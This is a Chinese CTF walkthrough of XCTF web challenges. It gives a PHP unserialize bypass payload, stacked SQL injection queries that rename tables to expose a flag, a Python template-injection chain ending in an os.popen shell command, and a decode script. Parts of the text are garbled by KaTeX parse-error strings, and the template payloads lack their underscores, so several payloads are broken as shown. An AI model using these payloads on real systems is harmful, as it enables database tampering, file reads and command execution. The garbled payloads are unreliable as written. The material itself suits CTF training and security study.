XCTF-web(五)

Web_php_unserialize

当通过KaTeX parse error: Expected group after '' at position 42: ...erialize,触发魔术方法_̲_wakeup和__destr...this->file)输出文件内容,若KaTeX parse error: Expected group after '' at position 17: ...ile可控,可读取任意文件。 _̲_wakeup 防御:若file不为index.php,会被重置为index.php。可通过属性个数溢出绕过(序列化时声明的属性个数大于实际个数,__wakeup不会执行)。

正则检测:preg_match('/[oc]:\d+:/i', $var)禁止包含o:或c:开头的序列化字符串。可利用NULL 字节截断让正则匹配失败(PHP 中preg_match遇到 NULL 字节会提前终止匹配)。

构造:/index.php?var=?TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

supersqli

看一下会输出什么

'1会报错

1';show databases -- #

1';show tables -- #

1';show columns from 1919810931114514 -- #

1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);-- #

1' or 1=1 #

inget

?id=1' or 1=1 -- #

web2

对密文进行 str_rot13 还原:由于 str_rot13 是双向变换,再次应用即可还原。

反转字符串:逆转加密时最后一步的 strrev。

Base64 解码:解开加密时的 base64_encode。

字符 ord 减 1:逆转加密时每个字符 ord+1 的操作。

再次反转字符串:逆转加密时第一步的 strrev。

csharp 复制代码
import base64
def python_decode(string):
    zimu = "abcdefghijklmnopqrstuvwxyz" 
    rot_13 ="" 
    for i in string: 
        if i.isdigit():
            rot_13 += i
        else:
            try:
                rot_13 += zimu[zimu.index(i)-13] 
            except:
                rot_13 += zimu[zimu.index(i.lower())-13].upper()
    fz = rot_13[::-1]
    base = base64.b64decode(fz)
    base = [chr(ord(i)-1) for i in base]
    fz = base[::-1]
    print "".join(fz)

python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")

结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

输入/{{7+7}},测试存在模板注入

/{{''.class}}

/{{''.class .mro}}

/{{''.class .base .base .subclasses()}}

/{{''.class .base .base .subclasses()[168]}}

/{{''.class .base .base .subclasses ()[145].init .globals .builtins 'eval'}}

/{{''.class .base .base .subclasses ()[145].init .globals .builtins ['eval']('import("os").popen("cat fl4g").read()')}}

相关推荐
编程到天明3 小时前
CTF-Web题解:“require_once(‘flag.php‘); &assert(“$i == $u“);”
网络安全·php
Johny_Zhao3 小时前
CentOS Stream 9上部署FTP应用服务的两种方法(传统安装和docker-compose)
linux·网络安全·信息安全·kubernetes·云计算·containerd·ftp·yum源·系统运维
Johny_Zhao2 天前
Centos8搭建hadoop高可用集群
linux·hadoop·python·网络安全·信息安全·云计算·shell·yum源·系统运维·itsm
落鹜秋水2 天前
Cacti命令执行漏洞分析(CVE-2022-46169)
web安全·网络安全
pencek2 天前
XCTF-crypto-幂数加密
网络安全
会议之眼2 天前
截稿倒计时 TrustCom‘25大会即将召开
网络安全
周先森的怣忈2 天前
渗透高级-----测试复现(第三次作业)
网络安全
MUY09902 天前
OSPF之多区域
网络·网络安全
波吉爱睡觉3 天前
文件解析漏洞大全
web安全·网络安全
青藤云安全3 天前
青藤天睿RASP再次发威!捕获E签宝RCE 0day漏洞
网络安全